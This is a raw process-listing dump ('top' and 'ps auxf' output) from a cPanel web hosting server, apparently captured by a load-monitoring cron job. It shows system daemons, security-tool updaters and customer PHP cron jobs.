 33338 nobody    20   0  277768  19540   4740 S   0.0  0.8   0:00.96 /usr/sbin+
 34451 nobody    20   0  277600  19116   4728 S   0.0  0.8   0:00.81 /usr/sbin+
 35100 nobody    20   0  277680  19172   4608 S   0.0  0.8   0:00.75 /usr/sbin+
 35738 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 35768 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 36035 nobody    20   0  277744  19624   4708 S   0.0  0.8   0:00.82 /usr/sbin+
 36797 nobody    20   0  277876  18868   4624 S   0.0  0.8   0:00.64 /usr/sbin+
 37613 root      20   0       0      0      0 S   0.0  0.0   0:00.01 [kworker/+
 38052 nobody    20   0  277744  19064   4528 S   0.0  0.8   0:00.49 /usr/sbin+
 38191 nobody    20   0  277824  19140   4468 S   0.0  0.8   0:00.67 /usr/sbin+
 40017 nobody    20   0  277620  18568   4280 S   0.0  0.8   0:00.34 /usr/sbin+
 40033 nobody    20   0  277744  18592   4284 S   0.0  0.8   0:00.39 /usr/sbin+
 40045 oysipao+  20   0    3148     16      0 S   0.0  0.0   0:00.00 [kworker]
 40049 oysipao+  20   0    3152     44      0 S   0.0  0.0   0:00.32 [kworker]
 40055 nobody    20   0  277680  18704   4228 S   0.0  0.8   0:00.37 /usr/sbin+
 40218 root      20   0  182416   8328   1100 S   0.0  0.3   0:14.44 lfd - sle+
 41277 nobody    20   0  277744  17472   3608 S   0.0  0.7   0:00.23 /usr/sbin+
 41278 nobody    20   0  277744  18784   4280 S   0.0  0.8   0:00.13 /usr/sbin+
 42083 nobody    20   0  277740  18088   3948 S   0.0  0.7   0:00.08 /usr/sbin+
 42475 nobody    20   0  277744  18200   4016 S   0.0  0.8   0:00.04 /usr/sbin+
 42525 nobody    20   0  277876  17492   3540 S   0.0  0.7   0:00.10 /usr/sbin+
 42606 nobody    20   0  277484  17664   3756 S   0.0  0.7   0:00.08 /usr/sbin+
 42841 root      20   0  111304   4272   3252 S   0.0  0.2   0:00.00 sshd: [ac+
 42842 sshd      20   0  115644   2628   1560 S   0.0  0.1   0:00.00 sshd: [ne+
 42907 wp-tool+  20   0  445028    316    192 S   0.0  0.0   0:00.00 sw-engine+
 42911 root      20   0  111304   4264   3252 S   0.0  0.2   0:00.00 sshd: [ac+
 43076 workflo+  20   0  497932  34100   6136 S   0.0  1.4   0:00.24 php-fpm: +
 43086 workflo+  20   0  497704  32316   4728 S   0.0  1.3   0:00.22 php-fpm: +
 43150 nobody    20   0  277716  16844   3220 S   0.0  0.7   0:00.00 /usr/sbin+
 43218 root      20   0       0      0      0 Z   0.0  0.0   0:00.00 [cpaneld +
 43333 nobody    20   0  277600  16652   3172 S   0.0  0.7   0:00.00 /usr/sbin+
 43334 nobody    20   0  277600  16648   3164 S   0.0  0.7   0:00.00 /usr/sbin+
 43345 nigeria   20   0  400460   4420   2328 S   0.0  0.2   0:00.00 php-fpm: +
 43346 nobody    20   0  277304  16352   3144 S   0.0  0.7   0:00.00 /usr/sbin+
 43347 nobody    20   0  277600  16652   3172 S   0.0  0.7   0:00.00 /usr/sbin+
 43348 nobody    20   0  277308  16132   2952 S   0.0  0.7   0:00.00 /usr/sbin+
 43349 nobody    20   0  277600  16640   3160 S   0.0  0.7   0:00.00 /usr/sbin+
 43356 root      20   0  183048   2156   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 43357 root      20   0  183048   2152   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 43358 root      20   0  183048   2152   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 43359 root      20   0  183048   2152   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 43363 root      20   0  183048   2148   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 43364 root      20   0  183048   2148   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 43366 root      20   0  183048   2148   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 43367 root      20   0  183048   2148   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 43369 root      20   0  183048   2148   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 43370 root      20   0  183048   2148   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 43371 root      20   0  183048   2148   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 43372 root      20   0  183048   2148   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 43373 root      20   0  183048   2148   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 43374 root      20   0  183048   2148   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 43375 root      20   0  183048   2148   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 43376 root      20   0  183048   2148   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 43377 root      20   0  183048   2148   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 43379 root      20   0  183048   2148   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 43380 root      20   0  183048   2152   1592 S   0.0  0.1   0:00.00 /usr/sbin+
 43383 root      20   0  183048   2152   1592 S   0.0  0.1   0:00.00 /usr/sbin+
 43391 root      20   0  113284   1212   1036 S   0.0  0.1   0:00.00 /bin/sh -+
 43396 root      20   0 1415968  15192    604 S   0.0  0.6   0:00.06 /usr/bin/+
 43416 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
 43418 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
 43420 root      20   0   20164    988    788 S   0.0  0.0   0:00.00 jailshell+
 43421 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
 43422 root      20   0  113284   1212   1032 S   0.0  0.1   0:00.00 /bin/sh -+
 43423 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
 43427 root      20   0  113284   1212   1032 S   0.0  0.1   0:00.00 /bin/sh -+
 43428 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
 43430 root      20   0  113284   1212   1036 S   0.0  0.1   0:00.00 /bin/sh -+
 43431 root      20   0  113284   1208   1032 S   0.0  0.0   0:00.00 /bin/sh -+
 43432 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
 43433 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
 43434 root      20   0   20164    972    768 S   0.0  0.0   0:00.00 jailshell+
 43436 root      20   0  113284   1208   1032 S   0.0  0.0   0:00.00 /bin/sh -+
 43437 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
 43438 root      20   0   20164    972    768 S   0.0  0.0   0:00.00 jailshell+
 43439 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
 43441 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
 43442 root      20   0   20164    992    788 S   0.0  0.0   0:00.00 /usr/loca+
 43452 root      35  15  113288   1428   1240 S   0.0  0.1   0:00.00 /bin/bash+
 43453 root      20   0  188224  11112   5148 S   0.0  0.5   0:00.01 /usr/loca+
 43457 root      20   0  108052    360    284 S   0.0  0.0   0:00.00 /usr/bin/+
 43465 root      20   0  113288   1512   1300 S   0.0  0.1   0:00.00 /bin/bash+
 43468 pactpay   20   0   20164    260      0 S   0.0  0.0   0:00.00 jailshell+
 43480 nigeria   20   0   20164    264      0 S   0.0  0.0   0:00.00 jailshell+
 43482 pactpay   20   0  480124  17692  11892 S   0.0  0.7   0:00.01 /opt/cpan+
 43499 cloudw    20   0  353712  15976  10492 S   0.0  0.7   0:00.01 /opt/cpan+
 43502 cloudw    20   0  353712  15976  10492 S   0.0  0.7   0:00.01 /opt/cpan+
 43519 root      20   0  160224   2392   1636 S   0.0  0.1   0:00.00 top -n 2 +
 43580 root      20   0  160220   2324   1592 R   0.0  0.1   0:00.00 top -bcn1
 43607 cloudsms  20   0   20164    256      0 S   0.0  0.0   0:00.00 jailshell+
 43608 root      20   0   38648   6508   3044 R   0.0  0.3   0:00.00 /usr/loca+
 43609 cloudsms  20   0  113284   1212   1036 S   0.0  0.1   0:00.00 /usr/loca+
 43610 cloudsms  20   0  113284    180      0 R   0.0  0.0   0:00.00 /usr/loca+
 64314 root      20   0       0      0      0 S   0.0  0.0   0:00.34 [kworker/+
 88136 root      20   0       0      0      0 S   0.0  0.0   0:00.35 [kworker/+
 93318 root      20   0  183052      4      0 S   0.0  0.0   0:00.00 /usr/sbin+
 93348 root      20   0  113284      0      0 S   0.0  0.0   0:00.00 /bin/sh -+
 93349 root      20   0  108056      0      0 S   0.0  0.0   0:00.00 sleep 4h +
101261 root      20   0       0      0      0 S   0.0  0.0   0:00.14 [kworker/+
USER        PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root          2  0.0  0.0      0     0 ?        S    Nov16   0:00 [kthreadd]
root          4  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [kworker/0:0H]
root          6  0.0  0.0      0     0 ?        S    Nov16   0:01  \_ [ksoftirqd/0]
root          7  0.0  0.0      0     0 ?        S    Nov16   0:00  \_ [migration/0]
root          8  0.0  0.0      0     0 ?        S    Nov16   0:00  \_ [rcu_bh]
root          9  0.1  0.0      0     0 ?        R    Nov16   0:18  \_ [rcu_sched]
root         10  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [lru-add-drain]
root         11  0.0  0.0      0     0 ?        S    Nov16   0:00  \_ [watchdog/0]
root         12  0.0  0.0      0     0 ?        S    Nov16   0:00  \_ [watchdog/1]
root         13  0.0  0.0      0     0 ?        S    Nov16   0:00  \_ [migration/1]
root         14  0.0  0.0      0     0 ?        S    Nov16   0:03  \_ [ksoftirqd/1]
root         16  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [kworker/1:0H]
root         18  0.0  0.0      0     0 ?        S    Nov16   0:00  \_ [kdevtmpfs]
root         19  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [netns]
root         20  0.0  0.0      0     0 ?        S    Nov16   0:00  \_ [khungtaskd]
root         21  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [writeback]
root         22  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [kintegrityd]
root         23  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [bioset]
root         24  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [bioset]
root         25  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [bioset]
root         26  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [kblockd]
root         27  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [md]
root         28  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [edac-poller]
root         29  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [watchdogd]
root         36  0.2  0.0      0     0 ?        S    Nov16   0:46  \_ [kswapd0]
root         37  0.0  0.0      0     0 ?        SN   Nov16   0:00  \_ [ksmd]
root         38  0.0  0.0      0     0 ?        SN   Nov16   0:00  \_ [khugepaged]
root         39  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [crypto]
root         47  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [kthrotld]
root         49  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [kmpath_rdacd]
root         50  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [kaluad]
root         51  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [kpsmoused]
root         52  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [ipv6_addrconf]
root         65  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [deferwq]
root        100  0.0  0.0      0     0 ?        S    Nov16   0:00  \_ [kauditd]
root        229  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [ata_sff]
root        240  0.0  0.0      0     0 ?        S    Nov16   0:00  \_ [scsi_eh_0]
root        243  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [scsi_tmf_0]
root        244  0.0  0.0      0     0 ?        S    Nov16   0:00  \_ [scsi_eh_1]
root        246  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [scsi_tmf_1]
root        248  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [ttm_swap]
root        258  0.0  0.0      0     0 ?        S<   Nov16   0:04  \_ [kworker/1:1H]
root        263  0.0  0.0      0     0 ?        S<   Nov16   0:03  \_ [kworker/0:1H]
root        274  0.0  0.0      0     0 ?        S    Nov16   0:01  \_ [jbd2/vda3-8]
root        275  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [ext4-rsv-conver]
root        412  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [rpciod]
root        413  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [xprtiod]
root        646  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [kvm-irqfd-clean]
root        672  0.0  0.0      0     0 ?        S<   Nov16   0:03  \_ [loop0]
root        726  0.0  0.0      0     0 ?        S    Nov16   0:00  \_ [jbd2/loop0-8]
root        727  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [ext4-rsv-conver]
root      64314  0.0  0.0      0     0 ?        S    02:31   0:00  \_ [kworker/1:0]
root      88136  0.0  0.0      0     0 ?        S    02:58   0:00  \_ [kworker/u200:2]
root     101261  0.0  0.0      0     0 ?        S    03:12   0:00  \_ [kworker/1:2]
root       4229  0.0  0.0      0     0 ?        S    03:18   0:00  \_ [kworker/0:1]
root      15866  0.0  0.0      0     0 ?        S    03:30   0:00  \_ [kworker/u200:1]
root      28007  0.0  0.0      0     0 ?        S    03:44   0:00  \_ [kworker/1:4]
root      30014  0.0  0.0      0     0 ?        S    03:46   0:00  \_ [kworker/0:0]
root      35738  0.0  0.0      0     0 ?        S    03:52   0:00  \_ [kworker/0:3]
root      35768  0.0  0.0      0     0 ?        S    03:52   0:00  \_ [kworker/0:4]
root      37613  0.0  0.0      0     0 ?        S    03:54   0:00  \_ [kworker/1:1]
root          1  0.1  0.1  44400  3176 ?        Ss   Nov16   0:22 /usr/lib/systemd/systemd --switched-root --system --deserialize 22
root        355  0.0  0.2  39500  5200 ?        Ss   Nov16   0:09 /usr/lib/systemd/systemd-journald
root        376  0.0  0.0  45376     8 ?        Ss   Nov16   0:00 /usr/lib/systemd/systemd-udevd
root        407  0.0  0.0  55532   212 ?        S<sl Nov16   0:01 /sbin/auditd
root        470  0.0  0.0 152780    60 ?        Ss   Nov16   0:00 /usr/sbin/pure-authd -s /var/run/ftpd.sock -r /usr/local/cpanel/bin/pureauth
polkitd     475  0.0  0.0 612240   980 ?        Ssl  Nov16   0:02 /usr/lib/polkit-1/polkitd --no-debug
root        476  0.0  0.0  24716  1140 ?        Ss   Nov16   0:03 /usr/lib/systemd/systemd-logind
root        483  0.0  0.0  21540   348 ?        Ss   Nov16   0:00 /usr/sbin/irqbalance --foreground
rpc         484  0.0  0.0  69256     4 ?        Ss   Nov16   0:00 /sbin/rpcbind -w
root        485  0.0  0.0  52852   320 ?        Ss   Nov16   0:00 /usr/sbin/smartd -n -q never
dbus        492  0.0  0.0  58700  1340 ?        Ss   Nov16   0:09 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation
root        494  0.0  0.0 195208     0 ?        Ssl  Nov16   0:00 /usr/sbin/gssproxy -D
nscd        502  0.0  0.0 994492  1384 ?        Ssl  Nov16   0:16 /usr/sbin/nscd
root        515  0.0  0.0   4388     4 ?        Ss   Nov16   0:00 /usr/sbin/acpid
root        519  0.0  0.1 224148  2996 ?        Ss   Nov16   0:00 queueprocd - waiting up to 60s to process a task
root        545  0.0  0.0 124480   424 ?        Ss   Nov16   0:00 /usr/sbin/crond -n
root      93318  0.0  0.0 183052     4 ?        S    01:00   0:00  \_ /usr/sbin/CROND -n
root      93348  0.0  0.0 113284     0 ?        Ss   01:00   0:00  |   \_ /bin/sh -c sleep $((1 + RANDOM % 5))h $((1 + RANDOM % 60))m; /usr/local/bin/wp-toolkit update-configuration > /dev/null 2> /dev/null || /usr/local/cpanel/3rdparty/wp-toolkit/bin/wp-toolkit-installer.sh --generate-configs > /dev/null 2> /dev/null; /usr/bin/yum -y update wp-toolkit-cpanel > /dev/null 2> /dev/null
root      93349  0.0  0.0 108056     0 ?        S    01:00   0:00  |       \_ sleep 4h 32m
root      43356  0.0  0.0 183048  2156 ?        S    04:00   0:00  \_ /usr/sbin/CROND -n
root      43422  0.0  0.0 113284  1212 ?        Ss   04:00   0:00  |   \_ /bin/sh -c /usr/bin/CSPUpdate -u Imunify360 &>/dev/null
root      43425  0.0  0.4 1276060 10708 ?       Sl   04:00   0:00  |       \_ /usr/bin/CSPUpdate -u Imunify360
root      43357  0.0  0.0 183048  2152 ?        S    04:00   0:00  \_ /usr/sbin/CROND -n
root      43436  0.0  0.0 113284  1208 ?        Ss   04:00   0:00  |   \_ /bin/sh -c /usr/bin/update_imunify &>/dev/null
root      43454  0.0  0.4 1277356 12008 ?       Sl   04:00   0:00  |       \_ /usr/bin/update_imunify
root      43358  0.0  0.0 183048  2152 ?        S    04:00   0:00  \_ /usr/sbin/CROND -n
root      43391  0.0  0.0 113284  1212 ?        Ss   04:00   0:00  |   \_ /bin/sh -c /usr/bin/CSPUpdate self-update &>/dev/null
root      43396  0.0  0.6 1415968 15192 ?       Sl   04:00   0:00  |       \_ /usr/bin/CSPUpdate self-update
root      43359  0.0  0.0 183048  2152 ?        S    04:00   0:00  \_ /usr/sbin/CROND -n
root      43427  0.0  0.0 113284  1212 ?        Ss   04:00   0:00  |   \_ /bin/sh -c /bin/bash /usr/local/lp/apps/sonarpush-helpers/sonarpush-helpers.sh hourly > /dev/null 2>&1
root      43452  0.0  0.0 113288  1428 ?        SN   04:00   0:00  |       \_ /bin/bash /usr/local/lp/apps/sonarpush-helpers/sonarpush-helpers.sh hourly
root      43582  0.0  0.2 140756  5828 ?        RN   04:00   0:00  |           \_ /usr/local/lp/sonarperl/bin/perl /usr/local/lp/apps/sonarpush-helpers/hourly.d/eximData.pl
root      43363  0.0  0.0 183048  2148 ?        S    04:00   0:00  \_ /usr/sbin/CROND -n
root      43430  0.0  0.0 113284  1212 ?        Ss   04:00   0:00  |   \_ /bin/sh -c /usr/bin/flock -n /dev/shm/loadwatch.lock -c /usr/local/lp/bin/loadwatch &> /dev/null
root      43457  0.0  0.0 108052   360 ?        S    04:00   0:00  |       \_ /usr/bin/flock -n /dev/shm/loadwatch.lock -c /usr/local/lp/bin/loadwatch
root      43465  0.0  0.0 113288  1512 ?        S    04:00   0:00  |           \_ /bin/bash /usr/local/lp/bin/loadwatch
root      43611  0.0  0.0 153840  2100 ?        R    04:00   0:00  |               \_ ps auxf
root      43364  0.0  0.0 183048  2148 ?        S    04:00   0:00  \_ /usr/sbin/CROND -n
root      43423  0.0  0.0  20164   808 ?        Ss   04:00   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/robocall.cloudsms.com.ng/endpoint/ ; php -q -f /home/cloudsms/robocall.cloudsms.com.ng/endpoint/sendsingle1.php > /dev/null 2>&1
root      43366  0.0  0.0 183048  2148 ?        S    04:00   0:00  \_ /usr/sbin/CROND -n
root      43420  0.0  0.0  20164   988 ?        Ss   04:00   0:00  |   \_ jailshell (cloudsms) [43607] ll -c cd /home/cloudsms/robocall.cloudsms.com.ng/endpoint/ ; php -q -f /home/cloudsms/robocall.cloudsms.com.ng/endpoint/send_single.php > /dev/null 2>&1
cloudsms  43607  0.0  0.0  20164   256 ?        S    04:00   0:00  |       \_ jailshell (cloudsms) [init] ell -c cd /home/cloudsms/robocall.cloudsms.com.ng/endpoint/ ; php -q -f /home/cloudsms/robocall.cloudsms.com.ng/endpoint/send_single.php > /dev/null 2>&1
cloudsms  43609  0.0  0.0 113284  1212 ?        S    04:00   0:00  |           \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/robocall.cloudsms.com.ng/endpoint/ ; php -q -f /home/cloudsms/robocall.cloudsms.com.ng/endpoint/send_single.php > /dev/null 2>&1
cloudsms  43610  0.0  0.4 400112 11624 ?        R    04:00   0:00  |               \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi -q -f /home/cloudsms/robocall.cloudsms.com.ng/endpoint/send_single.php
root      43367  0.0  0.0 183048  2148 ?        S    04:00   0:00  \_ /usr/sbin/CROND -n
root      43428  0.0  0.0  20164   808 ?        Ss   04:00   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_schedules.php > /dev/null 2>&1
root      43369  0.0  0.0 183048  2148 ?        S    04:00   0:00  \_ /usr/sbin/CROND -n
root      43442  0.0  0.0  20164   992 ?        Ss   04:00   0:00  |   \_ jailshell (cloudsms) [43612] ll -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/queue_status.php > /dev/null 2>&1
root      43612  0.0  0.0  20164   264 ?        R    04:00   0:00  |       \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/queue_status.php > /dev/null 2>&1
root      43370  0.0  0.0 183048  2148 ?        S    04:00   0:00  \_ /usr/sbin/CROND -n
root      43418  0.0  0.0  20164   804 ?        Ss   04:00   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/massmailer/cron.php > /dev/null 2>&1
root      43371  0.0  0.0 183048  2148 ?        S    04:00   0:00  \_ /usr/sbin/CROND -n
root      43416  0.0  0.0  20164   804 ?        Ss   04:00   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue.php > /dev/null 2>&1
root      43372  0.0  0.0 183048  2148 ?        S    04:00   0:00  \_ /usr/sbin/CROND -n
root      43441  0.0  0.0  20164   804 ?        Ss   04:00   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue6.php > /dev/null 2>&1
root      43373  0.0  0.0 183048  2148 ?        S    04:00   0:00  \_ /usr/sbin/CROND -n
root      43433  0.0  0.0  20164   804 ?        Ss   04:00   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue5.php > /dev/null 2>&1
root      43374  0.0  0.0 183048  2148 ?        S    04:00   0:00  \_ /usr/sbin/CROND -n
root      43421  0.0  0.0  20164   808 ?        Ss   04:00   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue4.php > /dev/null 2>&1
root      43375  0.0  0.0 183048  2148 ?        S    04:00   0:00  \_ /usr/sbin/CROND -n
root      43437  0.0  0.0  20164   808 ?        Ss   04:00   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue3.php > /dev/null 2>&1
root      43376  0.0  0.0 183048  2148 ?        S    04:00   0:00  \_ /usr/sbin/CROND -n
root      43439  0.0  0.0  20164   808 ?        Ss   04:00   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue1.php > /dev/null 2>&1
root      43377  0.0  0.0 183048  2148 ?        S    04:00   0:00  \_ /usr/sbin/CROND -n
root      43432  0.0  0.0  20164   808 ?        Ss   04:00   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/schedule_hour_check.php > /dev/null 2>&1
root      43379  0.0  0.0 183048  2148 ?        S    04:00   0:00  \_ /usr/sbin/CROND -n
root      43431  0.0  0.0 113284  1208 ?        Ss   04:00   0:00  |   \_ /bin/sh -c /usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1
root      43453  0.0  0.4 188224 11112 ?        S    04:00   0:00  |       \_ /usr/local/cpanel/bin/dcpumon
root      43519  0.0  0.0 160224  2392 ?        S    04:00   0:00  |           \_ top -n 2 -b -c
root      43380  0.0  0.0 183048  2152 ?        S    04:00   0:00  \_ /usr/sbin/CROND -n
root      43438  0.0  0.0  20164   972 ?        Ss   04:00   0:00  |   \_ jailshell (pactpay) [43468] ell -c php -q -f /home/pactpay/public_html/secure/cron/currency_rate.php
pactpay   43468  0.0  0.0  20164   260 ?        S    04:00   0:00  |       \_ jailshell (pactpay) [init] hell -c php -q -f /home/pactpay/public_html/secure/cron/currency_rate.php
pactpay   43482  0.0  0.7 480124 17692 ?        S    04:00   0:00  |           \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi -q -f /home/pactpay/public_html/secure/cron/currency_rate.php
root      43383  0.0  0.0 183048  2152 ?        S    04:00   0:00  \_ /usr/sbin/CROND -n
root      43434  0.0  0.0  20164   972 ?        Ss   04:00   0:00      \_ jailshell (nigeria) [43480] ell -c php -q -f /home/nigeria/public_html/crons/analyzer.php
nigeria   43480  0.0  0.0  20164   264 ?        S    04:00   0:00          \_ jailshell (nigeria) [init] hell -c php -q -f /home/nigeria/public_html/crons/analyzer.php
nigeria   43486  0.0  0.6 404052 16140 ?        S    04:00   0:00              \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi -q -f /home/nigeria/public_html/crons/analyzer.php
root        546  0.0  0.0  24208     4 ?        Ss   Nov16   0:00 /usr/sbin/atd -f
root        555  0.0  0.0 114704     0 ttyS0    Ss+  Nov16   0:00 /bin/bash
root        556  0.0  0.0 108296     4 tty1     Ss+  Nov16   0:00 /sbin/agetty --noclear tty1 linux
mailnull    625  0.0  0.0  89120   440 ?        Ss   Nov16   0:00 /usr/sbin/exim -ps -bd -q60m -oP /var/spool/exim/exim-daemon.pid
root        911  0.0  0.0 111304   356 ?        Ss   Nov16   0:02 /usr/sbin/sshd -D
root      42841  0.0  0.1 111304  4272 ?        Ss   03:59   0:00  \_ sshd: [accepted]
sshd      42842  0.0  0.1 115644  2628 ?        S    03:59   0:00  |   \_ sshd: [net]
root      42911  0.0  0.1 111304  4264 ?        Ss   03:59   0:00  \_ sshd: [accepted]
systuser    912  0.0  0.0 113016    32 ?        Ssl  Nov16   0:00 /usr/local/lp/opt/exporters/php-fpm_exporter/php-fpm_exporter server
root        917  0.0  0.1 265552  4012 ?        Ssl  Nov16   0:04 /usr/sbin/rsyslogd -n
named       918  0.0  1.2 1185864 29676 ?       Ssl  Nov16   0:11 /usr/sbin/pdns_server --guardian=no --daemon=no --disable-syslog --log-timestamp=no --write-pid=no
root        919  0.2 23.6 1828136 573304 ?      Ssl  Nov16   0:35 /usr/local/cpanel/3rdparty/bin/clamd -F
systuser    924  0.0  0.0  10388     8 ?        Ssl  Nov16   0:00 /usr/local/lp/opt/exporters/apache_exporter/apache_exporter
root        925  0.0  0.0  51508   456 ?        Ss   Nov16   0:00 /usr/sbin/dovecot -F -c /etc/dovecot/dovecot.conf
dovenull   1080  0.0  0.0  46912   724 ?        S    Nov16   0:00  \_ dovecot/pop3-login
dovenull   1081  0.0  0.0  47608  2416 ?        S    Nov16   0:00  \_ dovecot/imap-login
dovecot    1082  0.0  0.0  10320   292 ?        S    Nov16   0:00  \_ dovecot/anvil
root       1083  0.0  0.0  10452   604 ?        S    Nov16   0:00  \_ dovecot/log
dovenull   1084  0.0  0.0  46984   808 ?        S    Nov16   0:00  \_ dovecot/pop3-login
dovenull   1085  0.0  0.1  47564  2520 ?        S    Nov16   0:00  \_ dovecot/imap-login
root       1091  0.0  0.0  24528  2124 ?        S    Nov16   0:00  \_ dovecot/config
dovecot    1095  0.0  0.0  13568   624 ?        S    Nov16   0:00  \_ dovecot/stats
dovecot    1160  0.0  0.0  41160  1432 ?        S    Nov16   0:00  \_ dovecot/auth
root        926  0.0  0.0 572372   784 ?        Ssl  Nov16   0:01 /usr/bin/python2 -Es /usr/sbin/tuned -l -P
root        928  0.0  0.0 445028   588 ?        Ss   Nov16   0:00 sw-engine-fpm: master process (/etc/sw-engine/sw-engine-fpm.conf)
wp-tool+  42907  0.0  0.0 445028   316 ?        S    03:59   0:00  \_ sw-engine-fpm: pool wordpress-toolkit
root        937  0.0  0.0 439788   380 ?        Ss   Nov16   0:00 php-fpm: master process (/opt/cpanel/ea-php56/root/etc/php-fpm.conf)
systuser    938  0.0  0.5 114016 13540 ?        Ssl  Nov16   0:04 /usr/local/lp/opt/exporters/blackbox_exporter/blackbox_exporter --config.file /usr/local/lp/etc/exporters/blackbox.yml
root        939  0.0  0.2 261296  6348 ?        Ss   Nov16   0:03 cpsrvd (SSL) - waiting for connections                   
root      43218  0.0  0.0      0     0 ?        Z    03:59   0:00  \_ [cpaneld - servi] <defunct>
root        943  0.1  0.1 1277312 3688 ?        Ssl  Nov16   0:20 /usr/bin/checkstatus
root        944  0.1  0.2 1276356 6480 ?        Ssl  Nov16   0:24 /usr/bin/cspdaemon
cpanelc+    947  0.0  0.1  10416  3312 ?        Ss   Nov16   0:14 /usr/local/cpanel/3rdparty/sbin/p0f -i any -u cpanelconnecttrack -d -s /var/cpanel/userhomes/cpanelconnecttrack/p0f.socket less 400 and not dst port 80 and not dst port 443 and tcp[13] & 8==0
root        952  0.0  0.0 396248   232 ?        Ss   Nov16   0:00 php-fpm: master process (/opt/cpanel/ea-php81/root/etc/php-fpm.conf)
root        957  0.0  0.0 388892   428 ?        Ss   Nov16   0:00 php-fpm: master process (/opt/cpanel/ea-php73/root/etc/php-fpm.conf)
systuser    962  0.0  0.0  14068    36 ?        Ssl  Nov16   0:00 /usr/local/lp/opt/exporters/mysqld_exporter/mysqld_exporter --config.my-cnf=/usr/local/lp/etc/exporters/my.cnf
